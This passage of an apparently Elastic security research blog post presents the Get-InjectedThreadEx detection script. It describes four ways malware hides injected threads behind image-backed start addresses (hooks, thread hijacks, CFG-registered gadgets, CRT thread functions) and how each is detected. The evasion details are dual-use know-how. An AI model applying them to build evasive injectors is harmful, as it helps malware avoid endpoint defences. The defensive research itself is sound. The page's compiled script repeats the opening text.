[VirtualQueryEx()](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualqueryex) can be used to make a second syscall requesting the [basic memory information](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information) for that virtual address from the kernel. This includes an enumeration indicating whether the memory is a mapped PE image, a mapped file, or simply private memory.\n\n\n\nWhile the original script was a point-in-time retrospective detection implementation, the same information is available inline during [create thread notify](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutine) kernel callbacks. All effective Endpoint Detection and Response (EDR) products should be providing telemetry of suspicious thread creations.\n\nAnd all effective Endpoint Protection Platform (EPP) products should be denying suspicious thread creations by default – with a mechanism to add allowlist entries for legitimate software exhibiting this behavior.\n\nIn the wild, you’ll see “legitimate” instances of this behavior such as from other security products, anti-cheat software, older copy-protection software and some Unix products that have been shimmed to work on Windows. Though, in each instance, this security [code smell](https://en.wikipedia.org/wiki/Code_smell) may be indicative of software that you might not want in an enterprise environment. The use of these methods may be a leading indicator that other [security best practices](https://blog.trailofbits.com/2018/09/26/effortless-security-feature-detection-with-winchecksec/) have not been followed. Even with this finite set of exceptions to handle, this detection and/or prevention approach remains highly relevant and successful today.\n\n### 1 - Bring your own trampoline\n\nThe simplest trampoline is a small hook. The adversary only needs to write the necessary jump instruction into existing image-backed memory. This is the approach that Filip Olszak used to bypass Get-InjectedThread with [DripLoader](https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection).\n\nThese bytes can even be restored to their original values immediately after thread creation. This helps to avoid retrospective detections such as our script – but recall that your endpoint security product should be doing _inline_ detection and will be able to scrutinize the hooked thread entrypoint at execution time, and deny execution if necessary.\n\n\n\nThe above proof-of-concept hooks ntdll!DbgUiRemoteBreakin, which is a legitimate remote thread start address, though it should rarely be seen in production environments. In practice, the hook can be placed on any function bytes unlikely to be called in normal operation– or even slack space between functions, or at the end of the PE section.\n\nAlso note the use of WriteProcessMemory() instead of a simple memcpy(). MEM_IMAGE pages are typically read only, and the former handles toggling the page protections to writable and back for us.\n\nWe can detect hooked start addresses fairly easily because we can detect persistent inline hooks fairly easily. In order to save memory, allocations for shared libraries use the same backing physical memory pages and are marked COPY_ON_WRITE in each process’s address space. So, as soon as the hook is inserted, the whole page can no longer be shared. Instead, a copy is created in the working set of the process.\n\nUsing the [QueryWorkingSetEx()](https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-queryworkingsetex) API, we can query the kernel to determine whether the page containing the start address is sharable or is in a private working set.\n\nNow we know that something on the page was modified – but we don’t know if our address was hooked. And, for our updated PowerShell script, this is all that we do. Recall that the bytes can be unhooked after the thread has started– so any further checks on already running threads could result in a false negative.\n\nHowever, this could also be a false positive if there is a “legitimate” hook or other modification.\n\nIn particular, many, many security products still hook ntdll.dll. This was an entirely legitimate technical approach back in 2007 when Vista was released: it allowed existing x86 features based on kernel syscall hooks to be quickly ported to the nascent x64 architecture using user mode syscall hooks instead. The validity of such approaches has been more questionable since Windows 10 was released in 2015. Around this time, x64 was cemented as the primary Windows architecture and we could firmly relegate the less secure x86 Windows to legacy status. The value proposition for user mode hooking was further reduced in 2017 when Windows 10 Creators Update [added additional kernel mode instrumentation](https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection) to provide more robust detection approaches for malicious usage of certain abused syscalls.\n\nFor reference, our original Elastic Endgame product has features implemented using user mode hooks whereas our newer Elastic Endpoint has not yet determined a need to use a user mode hook at all in order to attain equal or better protection compared to Endgame. This means that Elastic Endgame must defend these hooks from tampering whereas Elastic Endpoint is currently invulnerable to the various so-called “universal EDR bypasses” that perform ntdll.dll unhooking.\n\nOlder security products aside, there are also many products that extend the functionality of other products via hooks– or perhaps unpack their code at runtime, etc. So, if that 4KB page is private, then security products need to additionally compare the start address bytes to an original pristine copy and alert if they differ.\n\nAnd, to deploy at scale, they also need to maintain an allowlist for those rare legitimate uses.\n\n### 2 - Shifting the trampoline mat\n\nTechnically the security product will only be able to see the bytes at the time of the thread notification callback which is slightly before the thread executes. Malware could create a [suspended](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread#parameters) thread, let the thread callback execute, and only then hook the start bytes before finally resuming the thread. Don’t worry though - effective security products can detect that inline too. But that’s a topic for another day.\n\nThis brings us to the second trampoline approach though: hijacking the execution flow before the entrypoint is ever called. Why obviously hook the thread entrypoint of our suspended thread when, with a little sleight of hand, we can usurp execution by modifying its instruction pointer directly (or an equivalent context manipulation) with [SetThreadContext()](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext), or by queuing an [“early bird” Asynchronous Procedure Call](https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/) (APC)?\n\nThe problem with creating the illusion of a legitimate entrypoint like this is that it doesn’t hold up to any kind of rigorous inspection.\n\nIn a normal thread, the user mode start address is typically the third function call in the thread’s stack – after ntdll!RtlUserThreadStart and kernel32!BaseThreadInitThunk. So when the thread has been hijacked, this is going to be obvious in the call stack.\n\nFor instruction pointer manipulation, the first frame will belong to the injected code.\n\nFor “early bird” APC injection, the base of the call stack will be ntdll!LdrInitializeThunk, ntdll!NtTestAlert, ntdll!KiUserApcDispatcher and then the injected code.\n\nThe updated script detects various anomalous call stack bases.\n\nFalse positives are possible where legitimate software finds it necessary to modify Windows process or thread initialisation. For example, this was observed with the [MSYS2](https://www.msys2.org/) Linux environment. There is also an edge case where a function might have been generated with a [Tail Call Optimisation](https://en.wikipedia.org/wiki/Tail_call) (TCO), which eliminates unnecessary stack frames for performance. However, these cases can all be easily handled with a small exception list.\n\n### 3 - If it walks like a trampoline, and it talks like a trampoline...\n\nThe third trampoline approach is to find a suitable gadget within image-backed memory so that no code modification is necessary. This is one of the approaches that Adam Chester employed in his blog.\n\nOur earlier hook was 12 bytes and finding an exact 12-byte gadget is unlikely in practice.\n\nHowever, on x64 Windows, functions use a four-register fast-call calling convention by default. So when the OS calls our gadget we will have control over the RCX register which will contain the parameter we passed into CreateThread().\n\nThe simplest x64 gadget is the two-byte JMP RCX instruction “ff e1” – which is fairly trivial to find.\n\n\n\nGadgets don’t even need to be instructions per se – they could be within operands or other data in the code section. For example, the above “ff e1” gadget in ntdll.dll was part of the relative address of a GUID.\n\nWe can detect this too- because it doesn’t work generically yet.\n\nIn all modern Windows software, thread start addresses are protected by Control Flow Guard (CFG) which has a bitmap of valid indirect call targets computed at compile time. In order to use this gadget, malware must either first disable CFG or call the [SetProcessValidCallTargets()](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-setprocessvalidcalltargets) function to ask the kernel to dynamically set the bit corresponding to this gadget in the CFG bitmap.\n\nJust to be clear: this is not a CFG bypass. It is a CFG feature to support legitimate software doing weird things. Remember that CFG is an exploit protection– and being able to call SetProcessCallTargets() in order to call CreateThread() is a chicken and egg problem for exploit developers.\n\nLike before, to save memory, the CFG bitmap pages for DLLs are also shared between processes. This time we can detect whether the start address’s CFG bitmap entry is on a sharable page or in a private working set- and alert if it is private.\n\nControl Flow Guard is described in detail [elsewhere](https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf), but a high level CFG overview here is helpful to understanding our approach to detection. Each two bits in the CFG bitmap corresponds to 16 addresses. Two bits gives us four states. Specifically, in a pretty neat optimization by Microsoft, two states correspond only to the 16-byte aligned address (allowed, and export suppressed) and two states correspond to all 16 addresses (allowed and denied).\n\nModern CPUs fetch instructions in 16-byte lines so modern compilers typically align the vast majority of function entrypoints to 16-bytes. The vast majority of CFG entries only set a single address as a valid indirect call target, and very few entries will specify a whole block of 16 addresses as valid call targets. This means that the CFG bitmap can be an eighth of the size without any appreciable increase in the risk of valid gadgets due to an overly permissive bitmap.\n\nHowever, if each two bits corresponds to 16 addresses, then a private 4K page of CFG bits corresponds to 256KB of code. That’s quite the false positive potential!\n\nTherefore, we just have to hope that legitimate code never does this… nevermind. You should never hope that legitimate code won’t do obscure things. To date, we’ve identified three contemporary scenarios:\n\n- The legacy Edge browser would [harden its javascript host process](https://web.archive.org/web/20161031134827/http://blog.trendmicro.com/trendlabs-security-intelligence/control-flow-guard-improvements-windows-10-anniversary-update/) by un-setting CFG bits for certain abusable functions\n- user32.dll appears to be too kind to legacy software – and will un-suppress export addresses if they are registered as call back functions\n- Some security products will drop a page of hook trampolines too close to legitimate modules and private executable memory always has private bitmap entries (Actually they’ll often drop this at a module’s preferred load address – which prevents the OS from sharing memory for that module)\n\nSo we need to rule out false positives by comparing against an expected CFG bitmap value. We could read this from the PE file on disk, but the x64 bitmap is already mapped into our process as part of the shared CFG bitmap.\n\nThe PowerShell script implementation we’ve released alerts on both cases: a modified CFG page and a start address with a non-original CFG value.\n\nA very small number of CFG-compatible gadgets [might](https://i.blackhat.com/briefings/asia/2018/asia-18-Lain-Back-To-The-Epilogue-How-To-Evade-Windows-Control-Flow-Guard-With-Less-Than-16-Bytes.pdf) [exist](https://www.ndss-symposium.org/wp-content/uploads/2018/02/ndss2018_05A-3_Biondo_paper.pdf) at a given point in time, but only in very specific DLLs that will likely appear anomalous in the surrogate process.\n\n### 4 - It's literally already a trampoline\n\nThe third bypass category is to find an existing function that does exactly what we want, and there are many of these. For example, the one highlighted by Christopher Paschen is Microsoft’s C Runtime (CRT). This implementation of the C standard library works as an API layer that sits above Win32– and it includes thread creation APIs.\n\nThese APIs perform some extra CRT bookkeeping on thread creation/destruction by passing an internal CRT thread entrypoint to CreateThread() and by passing the user entrypoint to subsequently call as part of the structure pointed to by the CreateThread() parameter.\n\nSo, in this case, the Win32StartAddress observed will be the non-exported msvcrt!\\_startthread(ex). The shellcode address will be at a specific offset from the thread parameter during thread creation (Microsoft CRT source is available), and the shellcode will be the next frame on the call stack after the CRT.\n\nNote: without additional tricks this can only be used to create in-process threads and there is no CreateRemoteThread() equivalent. Those tricks exist, however, and you should not expect this module as a start address in remote threads.\n\nUnfortunately, there is no operating system bookkeeping that will tell you if a thread was created remotely after the fact. Consequently, we can’t scan for this with our script– but the inline callbacks used by security products can make this distinction.\n\nCurrently, the script simply traverses the stack bottom-up and infers the first handful of frames by looking at candidate return addresses. This code could definitely be improved via disassembly or using unwind information, which are less rewarding to implement in PowerShell. The current approach is reliable enough for demonstration purposes:\n\n\n\n\n\nThe updated script detects the original suspicious thread in addition to the four classes of bypass described in this research.\n\n## Hunting suspicious thread creations\n\nIn addition to detections for the four known major classes of thread start address trampolines, the updated script also includes some additional heuristics. Some of these have medium false positive rates and are hidden behind an -Aggressive flag. However, they may still be useful in hunting scenarios.\n\n have structure- except when they don’t. There is no decompiler in PowerShell as far as we know – so we approximated with a byte pattern regular expression instead. Identifying code that doesn’t follow convention is useful but could easily exist in a compiler that we haven’t tested against.\n\nInterestingly, we had to account for the “MZ” magic bytes that correspond to a [DOS Executable](https://en.wikipedia.org/wiki/DOS_MZ_executable) being a purportedly valid thread entrypoint. The Windows loader [ignores](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/corexemain-function) the value of the AddressOfEntry field in the PE header for Common Language Runtime (CLR) executables such as .NET.\n\nInstead, execution always starts in MsCorEE!\\_CorExeMain() in the CLR Runtime which determines the actual process entrypoint from the CLR metadata. This makes sense as CLR assembly might only contain bytecode which needs to be JIT’d by the runtime before being called. However, the value of this field is still passed to CreateThread() and it is often zero- which results in the unexpected MZ entrypoint bytes.\n\n\n\nThe second heuristic examines the bytes immediately preceding the user entrypoint. This is usually a return, a jump, or a filler byte. Common filler bytes are zero, nop, and int 3. However, this is only a convention.\n\nIn particular, older compilers would regularly place data side by side with code- presumably to achieve performance through data locality. For example, we previously analysed the x64 binaries on Microsoft’s symbol server and noticed that this mixing of code and data was normal in Visual Studio 2012, was mostly remediated in VS2013, and appears to have been finally fixed in VS2015 Update 2.\n\n\n\nThe third heuristic is yet another compiler convention. As mentioned earlier, compilers like to output functions that maximize the instruction cache performance which typically use 16-byte fetches. But compilers appear to also like to save space– so they typically only ensure that the first basic block fits within the smallest number of 16-byte lines as opposed to strict 16-byte alignment. In other words, if a basic block is 20 bytes then it’ll always need at least two fetches, but we want to ensure that it doesn’t need three.\n\n\n\nMany common Win32 modules have no valid thread entrypoints at all– so check for these.\n\nThis list is definitely non-exhaustive.\n\nKernel32.dll is a special case. LoadLibrary is not technically a valid thread entrypoint– but CreateRemoteThread(kernel32!LoadLibraryA, “signed.dll”) is actually how most security products would prefer software to do code injection into running processes when necessary. That is, the injected code is signed and loaded into read-only image-backed memory. To the best of our knowledge, we believe that this approach was first proposed by Jeffrey Richter in an article in the May 1994 edition of the Microsoft System Journal and later included in his [Advanced Windows](https://openlibrary.org/books/OL1120758M/Advanced_Windows) book. So treat LoadLibrary as suspicious- but not necessarily malicious.\n\n ntdll.dll is loaded everywhere so is often the first choice for a gadget or hook. There are only four valid ntdll entrypoints that we know of and the script explicitly checks for these.\n\nTwo of these functions aren’t exported, and rather than using P/Invoke to download the public symbols and find the offset in the PDB, the script dynamically queries the start addresses of its own threads for their start addresses to find these. PowerShell already uses worker threads, and the script starts a private ETW logger session to force a thread with the final address.\n\n Side-loaded DLLs remain a highly popular technique- and are still predominantly unsigned.\n\n\n\nThis one isn’t a thread start heuristic- but it was too simple not to include. Legitimate threads might impersonate SYSTEM briefly, but (lazy) malware authors (or operators) tend to escalate privileges initially and hold them indefinitely.\n\n## Wrapping up\n\nAs flagged last time, nothing in security is a silver bullet. You should not expect 100% detection from suspicious thread creations alone.\n\nFor example, an adversary could modify their tools to simply not create any new threads, restricting their execution to hijacked threads only. The distinction is perhaps subtle, but Get-InjectedThreadEx only attempts to detect anomalous thread creation addresses – not the broader case of legitimate threads that were subsequently hijacked. This is why, in addition to imposing costs at thread creation, [Elastic Security](https://www.elastic.co/endpoint-security/) employs other defensive layers including [memory signatures](https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures), [behavioral detections](https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo) and [defense evasion detections](https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack).\n\nWhile it is somewhat easy to hijack a single thread after creation (ensuring that all your malware’s threads, including any third-party payloads, uses the right version of the right detection bypass for the installed security products), this is a maintenance cost for the adversary and mistakes will be made.\n\nLet’s keep raising the bar. We’d love to hear about thread creation bypasses- and scalable detection approaches. We’re stronger together.\n","code":"var Component=(()=\u003e{var c=Object.create;var r=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var g=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),w=(i,e)=\u003e{for(var a in e)r(i,a,{get:e[a],enumerable:!0})},s=(i,e,a,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of m(e))!f.call(i,n)\u0026\u0026n!==a\u0026\u0026r(i,n,{get:()=\u003ee[n],enumerable:!(o=p(e,n))||o.enumerable});return i};var y=(i,e,a)=\u003e(a=i!=null?c(u(i)):{},s(e||!i||!i.__esModule?r(a,\"default\",{value:i,enumerable:!0}):a,i)),b=i=\u003es(r({},\"__esModule\",{value:!0}),i);var d=g((j,l)=\u003e{l.exports=_jsx_runtime});var x={};w(x,{default:()=\u003eT,frontmatter:()=\u003ev});var t=y(d()),v={title:\"Get-InjectedThreadEx \\u2013 Detecting Thread Creation Trampolines\",slug:\"get-injectedthreadex-detection-thread-creation-trampolines\",date:\"2022-12-07\",description:\"In this blog, we will demonstrate how to detect each of four classes of process trampolining and release an updated PowerShell detection script \\u2013 Get-InjectedThreadEx\",author:[{slug:\"john-uhlmann\"}],image:\"photo-edited-02-e.jpg\",category:[{slug:\"security-research\"}],tags:[\"windows internals\",\"process injection\",\"defense evasion\"]};function h(i){let e=Object.assign({p:\"p\",a:\"a\",img:\"img\",ul:\"ul\",li:\"li\",h2:\"h2\",h3:\"h3\",em:\"em\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"The prevalence of \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/hunting-memory\",rel:\"nofollow\",children:\"memory resident malware\"}),\" remains extremely high. Defenders have imposed significant costs on file-based techniques, and malware must typically utilize \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process\",rel:\"nofollow\",children:\"in-memory techniques\"}),\" to avoid detection. In Elastic's recently-published \",(0,t.jsx)(e.a,{href:\"https://t.co/3PZDENisXK\",rel:\"nofollow\",children:\"Global Threat Report\"}),\", defense evasion is the most diverse tactic we observed and represents an area of rapid, continuous innovation.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"It is convenient, and sometimes necessary, for memory-resident malware to create its own threads within its surrogate process. Many such threads can be detected with relatively low noise by identifying those which have a start address not backed by a Portable Executable (PE) image file on disk. This detection technique was originally conceived by Elastic's \",(0,t.jsx)(e.a,{href:\"https://twitter.com/GabrielLandau\",rel:\"nofollow\",children:\"Gabriel Landau\"}),\" and Nicholas Fritts for the Elastic Endgame product. Shortly thereafter, it was released as a PowerShell script for the benefit of the community in the form of \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2\",rel:\"nofollow\",children:\"Get-InjectedThread\"}),\" with the help of \",(0,t.jsx)(e.a,{href:\"https://twitter.com/jaredcatkinson\",rel:\"nofollow\",children:\"Jared Atkinson\"}),\" and Elastic's \",(0,t.jsx)(e.a,{href:\"https://twitter.com/dez_\",rel:\"nofollow\",children:\"Joe Desimone\"}),\" at the \",(0,t.jsx)(e.a,{href:\"https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory\",rel:\"nofollow\",children:\"2017 SANS Threat Hunting and IR Summit\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"At a high level, this approach detects threads created with a user start address in unbacked executable memory. Unbacked executable memory itself is quite normal in many processes such as those that do just-in-time (JIT) compilation of bytecode or scripts like .NET or javascript. However, that JIT\\u2019d code rarely manages its own threads \\u2013 usually that is handled by the runtime or engine.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image13.png\",alt:\"Virtual Memory layout of a simple process using Sysinternal\\u2019s VMMap. Purple regions are image-backed and it is normal for threads to start there.\",width:\"1224\",height:\"1424\"})}),`\n`,(0,t.jsx)(e.p,{children:\"However, an adversary often has sufficient control to create a thread with an image-backed start address which will subsequently transfer execution to their unbacked memory. When this transfer is done immediately, it is known as a \\u201Ctrampoline\\u201D as you are quickly catapulted somewhere else.\"}),`\n`,(0,t.jsx)(e.p,{children:\"There are four broad classes of trampolines \\u2013 you can build your own from scratch, you can use an illusionary trampoline, you can repurpose something else as a trampoline, or you can simply find an existing trampoline.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In other words - hooks, hijacks, gadgets and functions.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Each of these will bypass our original unbacked executable memory heuristic.\"}),`\n`,(0,t.jsx)(e.p,{children:\"I highly recommend these two excellent blogs as background:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/\",rel:\"nofollow\",children:\"Understanding and Evading Get-InjectedThread\"}),\" by Adam Chester.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://www.trustedsec.com/blog/avoiding-get-injectedthread-for-internal-thread-creation/\",rel:\"nofollow\",children:\"Avoiding Get-InjectedThread for Internal Thread Creation\"}),\" by Christopher Paschen.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this blog, we will demonstrate how to detect each of these classes of bypass and release an updated PowerShell detection script \\u2013 \",(0,t.jsx)(e.a,{href:\"https://github.com/jdu2600/Get-InjectedThreadEx\",rel:\"nofollow\",children:\"Get-InjectedThreadEx\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"createthread-overview\",children:\"CreateThread() overview\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As a quick recap, the Win32 \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread\",rel:\"nofollow\",children:\"CreateThread()\"}),\" API lets you specify a pointer to a desired StartAddress which will be used as the entrypoint of a function that takes exactly one user-provided parameter.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image8.png\",alt:\"Microsoft documentation for the CreateThread API\",width:\"1440\",height:\"926\"})}),`\n`,(0,t.jsx)(e.p,{children:\"So, CreateThread() is effectively a simple shellcode runner.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image6.png\",alt:\"CreateThread == RunShellcode\",width:\"1440\",height:\"179\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"And its sibling, \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread\",rel:\"nofollow\",children:\"CreateRemoteThread()\"}),\" is effectively remote process injection.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The value of the lpStartAddress parameter is stored by the kernel in the Win32StartAddress field within the \",(0,t.jsx)(e.a,{href:\"https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/ethread/\",rel:\"nofollow\",children:\"ETHREAD\"}),\" structure for that thread.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image2.jpg\",alt:\"Suspicious ETHREAD entry viewed with a kernel debugger\",width:\"1440\",height:\"929\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This value can be queried from user mode using the documented \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationthread\",rel:\"nofollow\",children:\"NtQueryInformationThread()\"}),\" syscall with the ThreadQuerySetWin32StartAddress information class. A subsequent call to \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualqueryex\",rel:\"nofollow\",children:\"VirtualQueryEx()\"}),\" can be used to make a second syscall requesting the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information\",rel:\"nofollow\",children:\"basic memory information\"}),\" for that virtual address from the kernel. This includes an enumeration indicating whether the memory is a mapped PE image, a mapped file, or simply private memory.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image1.jpg\",alt:\"Original detection logic\",width:\"1057\",height:\"213\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"While the original script was a point-in-time retrospective detection implementation, the same information is available inline during \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutine\",rel:\"nofollow\",children:\"create thread notify\"}),\" kernel callbacks. All effective Endpoint Detection and Response (EDR) products should be providing telemetry of suspicious thread creations.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"And all effective Endpoint Protection Platform (EPP) products should be denying suspicious thread creations by default \\u2013 with a mechanism to add allowlist entries for legitimate software exhibiting this behavior.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the wild, you\\u2019ll see \\u201Clegitimate\\u201D instances of this behavior such as from other security products, anti-cheat software, older copy-protection software and some Unix products that have been shimmed to work on Windows. Though, in each instance, this security \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Code_smell\",rel:\"nofollow\",children:\"code smell\"}),\" may be indicative of software that you might not want in an enterprise environment. The use of these methods may be a leading indicator that other \",(0,t.jsx)(e.a,{href:\"https://blog.trailofbits.com/2018/09/26/effortless-security-feature-detection-with-winchecksec/\",rel:\"nofollow\",children:\"security best practices\"}),\" have not been followed. Even with this finite set of exceptions to handle, this detection and/or prevention approach remains highly relevant and successful today.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"1---bring-your-own-trampoline\",children:\"1 - Bring your own trampoline\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The simplest trampoline is a small hook. The adversary only needs to write the necessary jump instruction into existing image-backed memory. This is the approach that Filip Olszak used to bypass Get-InjectedThread with \",(0,t.jsx)(e.a,{href:\"https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection\",rel:\"nofollow\",children:\"DripLoader\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"These bytes can even be restored to their original values immediately after thread creation. This helps to avoid retrospective detections such as our script \\u2013 but recall that your endpoint security product should be doing \",(0,t.jsx)(e.em,{children:\"inline\"}),\" detection and will be able to scrutinize the hooked thread entrypoint at execution time, and deny execution if necessary.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/get-injectedthreadex-detection-thread-creation-trampolines/image9.png\",alt:\"Basic hook trampoline\",width:\"1440\",height:\"427\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The above proof-of-concept hooks ntdll!DbgUiRemoteBreakin, which is a legitimate remote thread start address, though it should rarely be seen in production environments. In practice, the hook can be placed on any function bytes unlikely to be called in normal operation\\u2013 or even slack space between functions, or at the end of the PE section.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Also note the use of WriteProcessMemory() instead of a simple memcpy(). MEM_IMAGE pages are typically read only, and the former handles toggling the page protections to writable and back for us.\"}),`\n`,(0,t.jsx)(e.p,{children:\"We can detect hooked start addresses fairly easily because we can detect persistent inline hooks fairly easily. In order to save memory, allocations for shared libraries use the same backing physical memory pages and are marked COPY_ON_WRITE in each process\\u2019s address space. So, as soon as the hook is inserted, the whole page can no longer be shared. Instead, a copy is created in the working set of the process.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Using the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-queryworkingsetex\",rel:\"nofollow\",children:\"QueryWorkingSetEx()\"}),\" API, we can query the kernel to determine whether the page containing the start address is sharable or is in a private working set.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Now we know that something on the page was modified \\u2013 but we don\\u2019t know if our address was hooked. And, for our updated PowerShell script, this is all that we do. Recall that the bytes can be unhooked after the thread has started\\u2013 so any further checks on already running threads could result in a false negative.\"}),`\n`,(0,t.jsx)(e.p,{children:\"However, this could also be a false positive if there is a \\u201Clegitimate\\u201D hook or other modification.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In particular, many, many security products still hook ntdll.dll. This was an entirely legitimate technical approach back in 2007 when Vista was released: it allowed existing x86 features based on kernel syscall hooks to be quickly ported to the nascent x64 architecture using user mode syscall hooks instead. The validity of such approaches has been more questionable since Windows 10 was released in 2015. Around this time, x64 was cemented as the primary Windows architecture and we could firmly relegate the less secure x86 Windows to legacy status. The value proposition for user mode hooking was further reduced in 2017 when Windows 10 Creators Update \",(0,t.jsx)(e.a,{href:\"https://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection\",rel:\"nofollow\",children:\"added additional kernel mode instrumentation\"}),\" to provide more robust detection approaches for malicious usage of certain abused syscalls.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"For reference, our original Elastic Endgame product has features implemented using user mode hooks whereas our newer Elastic Endpoint has not yet determined a need to use a user mode hook at all in order to attain equal or better protection compared to Endgame. This means that Elastic Endgame must defend these hooks from tampering whereas Elastic Endpoint is currently invulnerable to the various so-called \\u201Cuniversal EDR bypasses\\u201D that perform ntdll.dll unhooking.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Older security products aside, there are also many products that extend the functionality of other products via hooks\\u2013 or perhaps unpack their code at runtime, etc. So, if that 4KB page is private, then security products need to additionally compare the start address bytes to an original pristine copy and alert if they differ.\"}),`\n`,(0,t.jsx)(e.p,{children:\"And, to deploy at scale, they also need to maintain an allowlist for those rare legitimate uses.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"2---shifting-the-trampoline-mat\",children:\"2 - Shifting the trampoline mat\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Technically the security product will only be able to see the bytes at the time of the thread notification callback which is slightly before the thread executes. Malware could create a \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread#parameters\",rel:\"nofollow\",children:\"suspended\"}),\" thread, let the thread callback execute, and only then hook the start bytes before finally resuming the thread. Don\\u2019t worry though - effective security products can detect that inline too. But that\\u2019s a topic for another day.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This brings us to the second trampoline approach though: hijacking the execution flow before the entrypoint is ever called. Why obviously hook the thread entrypoint of our suspended thread when, with a little sleight of hand, we can usurp execution by modifying its instruction pointer directly (or an equivalent context manipulation) with \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext\",rel:\"nofollow\",children:\"SetThreadContext()\"}),\", or by queuing an \",(0,t.jsx)(e.a,{href:\"https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/\",rel:\"nofollow\",children:\"\\u201Cearly bird\\u201D Asynchronous Procedure 